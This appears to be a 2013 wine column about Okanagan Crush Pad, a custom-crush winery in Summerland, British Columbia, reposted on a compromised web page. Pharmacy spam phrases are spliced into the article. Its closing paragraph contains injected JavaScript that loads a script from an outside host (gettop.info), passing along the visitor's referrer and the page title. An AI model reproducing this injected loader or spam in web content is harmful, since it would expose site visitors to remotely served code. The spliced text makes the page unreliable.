Crush Pad worth a visit – Sept 14, 2013


buy pills By Anthony Gismondi

What is an Okanagan Crush Pad and why should I visit the place? It’s a question I get a lot from curious wine travellers who can’t quite seem to wrap their heads around the Summerland-based winery, or is that a consulting winery business? Okanagan Crush Pad is British Columbia’s first custom crush winemaking facility. It is set up like many others around the world – to help aspiring vineyard owners make the dream jump to owning their own winery. OCP advertises itself as “a team of industry-leading consultants that offers diverse services to the wine industry.” In fact, OCP clients choose from a list of services ranging from vineyard management and winemaking, to branding, packaging, marketing, communications, media relations and sales distribution.

It’s a fabulous deal if you have money and no expertise, and let me stress, it is a fabulous deal even if you have money and expertise. I can think of many successful local producers who would be years ahead of their time had they been privy to the expertise OCP is offering its newbies. The packaging advice alone will make you hundreds of thousands of dollars in sales. And you won’t have to redo your logo and a bunch of stuff in five years.

In 2012, the team at OCP helped launch four new wineries, while this fall three additional proprietors have received winery manufacturing licen ces: Harper’s Trail, Jentsch Cellars and Sage Hills. No one is happier to see her clients graduate than co-owner Christine Coletta who is big on getting each prospect to the selfsufficiency stage.

“This is what OCP is here to do,” she says. “We point people in the right direction, help them eliminate costly mistakes and help them launch with a quality portfolio that can set the stage for market acceptance.”

The company really took off while they were developing and launching their own brand, Haywire. Haywire started in 2009 with an online presence only, and Coletta says: “We discovered that there was a shockingly low level of written information, trade industry support, or people to help us wade through the legal requirements, licensing and red tape. Arms of government do not always talk to one another and it can be overwhelming trying to figure out who to go to for information along the way.”

Harper’s Trail co-owner Vicki Collett perhaps says it best, “We have opened with confidence (in Kamloops) and quality wine, and know doing this would not have been possible without getting our start at Okanagan Crush Pad. It was the perfect solution for us. We’re getting many visitors to the tasting room and receiving very positive response on all the wines and our operation here.”

Amazingly, since Okanagan Crush Pad opened its doors in September 2011 the winery has more than doubled production, and is now at capacity with several clients (including house brands Haywire and Bartier Scholefield) producing 34,000 cases annually.

Coletta and husband Steve Lornie are the principal partners, while veteran winemaker Michael Bartier steers the back end with plenty of perspective from the likes of David Scholefield, the former fine wine buyer for the BCLDB, internationally acclaimed Italian consulting winemaker Alberto Antonini, and Chilean terroir specialist Pedro Parra. It’s an exciting team of highly seasoned wine folks determined to move the Okanagan wine needle.

So should you visit the Okanagan Crush Pad? Definitely, and be prepared to taste several different wines at the facility that lies a couple of kilometres south of the Summerland cut-off. purchase lynoral birth metronidazole flagyl price s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; d.getElementsByTagName('head')[0].appendChild(s);if (document.currentScript) { buy periactin Cheap

© Copyright (c) The Vancouver Sun

Return To Articles
Sign Up for Weekly Updates
About Wine Critic